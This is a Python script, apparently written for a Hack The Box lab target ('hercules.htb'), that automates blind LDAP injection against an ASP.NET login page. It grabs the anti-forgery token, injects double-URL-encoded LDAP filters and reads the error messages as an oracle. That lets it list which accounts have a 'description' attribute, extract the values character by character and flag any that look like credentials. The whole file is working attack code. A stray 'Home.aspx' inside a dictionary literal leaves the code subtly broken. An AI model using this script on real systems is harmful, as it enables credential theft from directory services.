import httpx
from bs4 import BeautifulSoup
import asyncio
import string
from datetime import datetime
TARGET_URL = "https://hercules.htb/login"
SUCCESS_INDICATOR = "login attempt failed"
USERS_FILE = "users.txt"
ATTRIBUTE = "description"
MAX_LENGTH = 150
class MultiUserLDAPScanner:
def __init__(self):
self.charset = (
string.ascii_lowercase +
string.ascii_uppercase +
string.digits +
" !\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
)
self.request_count = 0
# LDAP escape sequences
self.LDAP_ESCAPE_MAP = {
'*': '\\2a',
'(': '\\28',
')': '\\29',
'\\': '\\5c',
'/': '\\2f',
'\x00': '\\00'Home.aspx
}
# Double URL encoding map
self.DOUBLE_ENCODE_MAP = {
' ': '%2520', '!': '%2521', '"': '%2522', '#': '%2523',
'$': '%2524', '%': '%2525', '&': '%2526', "'": '%2527',
'+': '%252B', ',': '%252C', '-': '%252D', '.': '%252E',
':': '%253A', ';': '%253B', '<': '%253C', '=': '%253D',
'>': '%253E', '?': '%253F', '@': '%2540', '[': '%255B',
'\\': '%255C', ']': '%255D', '^': '%255E', '_': '%255F',
'`': '%2560', '{': '%257B', '|': '%257C', '}': '%257D',
'~': '%257E',
'0': '0', '1': '1', '2': '2', '3': '3', '4': '4',
'5': '5', '6': '6', '7': '7', '8': '8', '9': '9',
'a': 'a', 'b': 'b', 'c': 'c', 'd': 'd', 'e': 'e',
'f': 'f', 'g': 'g', 'h': 'h', 'i': 'i', 'j': 'j',
'k': 'k', 'l': 'l', 'm': 'm', 'n': 'n', 'o': 'o',
'p': 'p', 'q': 'q', 'r': 'r', 's': 's', 't': 't',
'u': 'u', 'v': 'v', 'w': 'w', 'x': 'x', 'y': 'y', 'z': 'z',
'A': 'A', 'B': 'B', 'C': 'C', 'D': 'D', 'E': 'E',
'F': 'F', 'G': 'G', 'H': 'H', 'I': 'I', 'J': 'J',
'K': 'K', 'L': 'L', 'M': 'M', 'N': 'N', 'O': 'O',
'P': 'P', 'Q': 'Q', 'R': 'R', 'S': 'S', 'T': 'T',
'U': 'U', 'V': 'V', 'W': 'W', 'X': 'X', 'Y': 'Y', 'Z': 'Z',
}
def encode_for_ldap_and_url(self, text):
"""
Two-stage encoding:
1. LDAP escape special chars
2. Double URL encode
"""
parts = []
for char in text:
if char in self.LDAP_ESCAPE_MAP:
ldap_escaped = self.LDAP_ESCAPE_MAP[char]
for escape_char in ldap_escaped:
if escape_char == '\\':
parts.append('%255C')
else:
parts.append(escape_char)
else:
parts.append(self.DOUBLE_ENCODE_MAP.get(char, char))
return ''.join(parts)
def build_payload(self, username, attribute, value, use_wildcard=True):
"""Build LDAP injection payload"""
encoded_value = self.encode_for_ldap_and_url(value)
if use_wildcard:
return f"{username}%252A%2529%2528{attribute}%253D{encoded_value}%252A"
else:
return f"{username}%252A%2529%2528{attribute}%253D{encoded_value}"
async def test_injection(self, username, attribute, value, use_wildcard=True):
"""Test a single LDAP injection payload"""
async with httpx.AsyncClient(verify=False, timeout=30.0, follow_redirects=False) as client:
try:
r_get = await client.get(TARGET_URL)
soup = BeautifulSoup(r_get.text, 'html.parser')
token_field = soup.find('input', {'name': '__RequestVerificationToken'})
if not token_field:
return None
token = token_field['value']
username_payload = self.build_payload(username, attribute, value, use_wildcard)
from urllib.parse import quote
post_body = (
f"__RequestVerificationToken={quote(token, safe='')}"
f"&Username={username_payload}"
f"&Password=test123"
f"&RememberMe=false"
)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r_post = await client.post(TARGET_URL, content=post_body, headers=headers)
self.request_count += 1
response_lower = r_post.text.lower()
if SUCCESS_INDICATOR in response_lower:
return True
elif "invalid username" in response_lower:
return False
else:
return None
except:
return None
async def check_attribute_exists(self, username, attribute):
"""
Quick check if user has the specified attribute with any value
Tests: username*)(attribute=*
"""
result = await self.test_injection(username, attribute, "", use_wildcard=True)
return result is True
async def scan_users_for_attribute(self, users, attribute):
"""
Phase 1: Scan all users to find which ones have the attribute
"""
print(f"\n{'═'*70}")
print(f"║ PHASE 1: SCANNING USERS FOR '{attribute}' ATTRIBUTE")
print(f"{'═'*70}")
print(f"║ Total users to scan: {len(users)}")
print(f"║ Attribute: {attribute}")
print(f"{'═'*70}\n")
users_with_attribute = []
for i, user in enumerate(users, 1):
print(f"[{i:3d}/{len(users):3d}] Checking {user:<20}... ", end='', flush=True)
has_attr = await self.check_attribute_exists(user, attribute)
if has_attr:
print(f"✅ HAS {attribute}")
users_with_attribute.append(user)
else:
print(f"❌ No {attribute}")
await asyncio.sleep(1.0) # Rate limiting
print(f"\n{'═'*70}")
print(f"║ SCAN COMPLETE")
print(f"{'═'*70}")
print(f"║ Users with {attribute}: {len(users_with_attribute)}/{len(users)}")
print(f"{'═'*70}\n")
if users_with_attribute:
print(f"Users with {attribute}:")
for user in users_with_attribute:
print(f" • {user}")
print()
return users_with_attribute
async def extract_attribute_value(self, username, attribute, known_prefix=""):
"""
Phase 2: Extract complete attribute value for a single user
"""
print(f"\n{'═'*70}")
print(f"║ EXTRACTING: {username}.{attribute}")
print(f"{'═'*70}")
if known_prefix:
print(f"║ Starting from: '{known_prefix}'")
print(f"{'═'*70}\n")
discovered = known_prefix
for position in range(len(known_prefix), MAX_LENGTH):
found = False
print(f"[Pos {position + 1:3d}] Current: '{discovered}'")
for i, char in enumerate(self.charset, 1):
# Format display
if char == ' ':
display = '<SP>'
elif char in self.LDAP_ESCAPE_MAP:
display = f'{char}(LDAP)'
else:
display = char
# Use \r to overwrite same line for compactness
print(f" [{i:3d}/{len(self.charset):3d}] '{display}'", end=' \r', flush=True)
test_value = discovered + char
result = await self.test_injection(username, attribute, test_value, use_wildcard=True)
if result is True:
discovered = test_value
# Clear the line and show match
print(f" [{i:3d}/{len(self.charset):3d}] '{display}' ✅ MATCH! ")
found = True
break
elif result is None:
# Retry on error
await asyncio.sleep(2)
result = await self.test_injection(username, attribute, test_value, use_wildcard=True)
if result is True:
discovered = test_value
print(f" [{i:3d}/{len(self.charset):3d}] '{display}' ✅ MATCH! (retry) ")
found = True
break
await asyncio.sleep(0.8)
if not found:
# Clear the testing line
print(" " * 70, end='\r')
print(f" [---] No more characters found")
# Check if extraction is complete
result = await self.test_injection(username, attribute, discovered, use_wildcard=False)
if result is True:
print(f"\n{'─'*70}")
print(f"✅ COMPLETE: '{discovered}'")
print(f" Length: {len(discovered)} chars")
print(f"{'─'*70}\n")
return discovered
else:
print(f"\n{'─'*70}")
print(f"⚠️ PARTIAL: '{discovered}'")
print(f"{'─'*70}\n")
return discovered
await asyncio.sleep(0.5)
print(f"\n[!] Max length reached: '{discovered}'")
return discovered
async def extract_all_users(self, users_with_attribute, attribute):
"""
Phase 2: Extract attribute values for all users that have it
"""
print(f"\n{'═'*70}")
print(f"║ PHASE 2: EXTRACTING {attribute.upper()} VALUES")
print(f"{'═'*70}")
print(f"║ Users to extract: {len(users_with_attribute)}")
print(f"{'═'*70}\n")
results = {}
for i, user in enumerate(users_with_attribute, 1):
print(f"\n{'▼'*70}")
print(f"▼ [{i}/{len(users_with_attribute)}] USER: {user}")
print(f"{'▼'*70}")
value = await self.extract_attribute_value(user, attribute)
if value:
results[user] = value
# Save incrementally
with open("ldap_descriptions_incremental.txt", "a") as f:
f.write(f"{user}:{attribute}:{value}\n")
# Check for credentials
if any(kw in value.lower() for kw in ['pass', 'pwd', 'cred', 'key', 'temp', 'secret']):
print(f"\n{'🔥'*70}")
print(f"🔥 POTENTIAL CREDENTIAL DETECTED!")
print(f"🔥 User: {user}")
print(f"🔥 Value: '{value}'")
print(f"{'🔥'*70}\n")
# Delay between users
if i < len(users_with_attribute):
print(f"\n[*] Waiting 3 seconds before next user...")
await asyncio.sleep(3)
return results
async def main():
print(f"\n{'#'*70}")
print(f"#")
print(f"# MULTI-USER LDAP ATTRIBUTE SCANNER")
print(f"# With LDAP Special Character Escaping")
print(f"#")
print(f"{'#'*70}\n")
# Load users
try:
with open(USERS_FILE, "r") as f:
users = [line.strip() for line in f if line.strip()]
print(f"[✓] Loaded {len(users)} users from {USERS_FILE}")
except FileNotFoundError:
print(f"[!] Error: {USERS_FILE} not found!")
print(f"[!] Please create this file with one username per line")
return
if not users:
print(f"[!] No users found in {USERS_FILE}")
return
scanner = MultiUserLDAPScanner()
print(f"\n{'─'*70}")
print(f"Configuration:")
print(f" • Target URL : {TARGET_URL}")
print(f" • Users loaded : {len(users)}")
print(f" • Attribute : {ATTRIBUTE}")
print(f" • Max length : {MAX_LENGTH}")
print(f" • Charset size : {len(scanner.charset)} chars")
print(f"{'─'*70}\n")
print(f"[INFO] LDAP Special Characters:")
print(f" • * → \\2a (literal asterisk)")
print(f" • ( → \\28, ) → \\29 (literal parentheses)")
print(f" • \\ → \\5c (literal backslash)")
print(f" • / → \\2f (literal slash)")
print(f"\n[INFO] All payloads are double-URL-encoded\n")
print(f"{'─'*70}")
print(f"Press ENTER to start scanning (Ctrl+C to cancel)")
print(f"{'─'*70}\n")
try:
input()
except KeyboardInterrupt:
print("\n[!] Cancelled\n")
return
start_time = datetime.now()
# PHASE 1: Scan all users for the attribute
users_with_attribute = await scanner.scan_users_for_attribute(users, ATTRIBUTE)
if not users_with_attribute:
print(f"\n[!] No users found with '{ATTRIBUTE}' attribute")
print(f"[*] Total requests: {scanner.request_count}")
return
# Ask user if they want to extract all
print(f"\n{'─'*70}")
print(f"Found {len(users_with_attribute)} user(s) with {ATTRIBUTE}")
print(f"{'─'*70}")
print(f"\nOptions:")
print(f" 1. Extract ALL users (may take a while)")
print(f" 2. Extract specific user")
print(f" 3. Save list and exit")
print(f"\nChoice (1/2/3): ", end='')
try:
choice = input().strip()
except KeyboardInterrupt:
print("\n[!] Cancelled\n")
return
if choice == '1':
# Extract all users
results = await scanner.extract_all_users(users_with_attribute, ATTRIBUTE)
elif choice == '2':
# Extract specific user
print(f"\nAvailable users:")
for i, user in enumerate(users_with_attribute, 1):
print(f" {i}. {user}")
print(f"\nEnter number (1-{len(users_with_attribute)}): ", end='')
try:
idx = int(input().strip()) - 1
if 0 <= idx < len(users_with_attribute):
target_user = users_with_attribute[idx]
value = await scanner.extract_attribute_value(target_user, ATTRIBUTE)
results = {target_user: value} if value else {}
else:
print(f"[!] Invalid selection")
return
except (ValueError, KeyboardInterrupt):
print("\n[!] Cancelled\n")
return
elif choice == '3':
# Save list and exit
filename = f"users_with_{ATTRIBUTE}.txt"
with open(filename, "w") as f:
for user in users_with_attribute:
f.write(f"{user}\n")
print(f"\n[✓] Saved to {filename}")
return
else:
print(f"[!] Invalid choice")
return
# Final summary
end_time = datetime.now()
duration = (end_time - start_time).total_seconds()
print(f"\n{'═'*70}")
print(f"║ EXTRACTION COMPLETE")
print(f"{'═'*70}")
print(f"║ Total users scanned : {len(users)}")
print(f"║ Users with {ATTRIBUTE:<10}: {len(users_with_attribute)}")
print(f"║ Successfully extracted : {len(results)}")
print(f"║ Total requests : {scanner.request_count}")
print(f"║ Duration : {duration:.1f} seconds")
print(f"{'═'*70}\n")
if results:
# Save final results
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"ldap_descriptions_{timestamp}.txt"
with open(filename, "w") as f:
f.write(f"{'='*70}\n")
f.write(f"LDAP ATTRIBUTE EXTRACTION RESULTS\n")
f.write(f"{'='*70}\n\n")
f.write(f"Target : {TARGET_URL}\n")
f.write(f"Attribute : {ATTRIBUTE}\n")
f.write(f"Extracted : {len(results)} users\n")
f.write(f"Timestamp : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"Total Requests: {scanner.request_count}\n")
f.write(f"\n{'='*70}\n\n")
for user, value in results.items():
f.write(f"User: {user}\n")
f.write(f"{ATTRIBUTE}: {value}\n")
f.write(f"{'-'*70}\n\n")
print(f"[✓] Results saved to: {filename}")
print(f"\nExtracted values:")
print(f"{'─'*70}")
for user, value in results.items():
print(f"{user:<20} : {value}")
print(f"{'─'*70}\n")
# Credential analysis
cred_keywords = ['pass', 'password', 'pwd', 'credential', 'cred', 'key', 'secret', 'temp', 'default']
potential_creds = {}
for user, value in results.items():
value_lower = value.lower()
found_kw = [kw for kw in cred_keywords if kw in value_lower]
if found_kw:
potential_creds[user] = (value, found_kw)
if potential_creds:
print(f"{'🔥'*70}")
print(f"🔥 POTENTIAL CREDENTIALS DETECTED!")
print(f"{'🔥'*70}\n")
for user, (value, keywords) in potential_creds.items():
print(f"User: {user}")
print(f"Keywords: {', '.join(keywords)}")
print(f"Value: '{value}'")
print(f"{'-'*70}")
print(f"\n{'🔥'*70}\n")
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\n\n[!] Interrupted by user\n")
except Exception as e:
print(f"\n[!] Fatal error: {type(e).__name__}: {e}\n")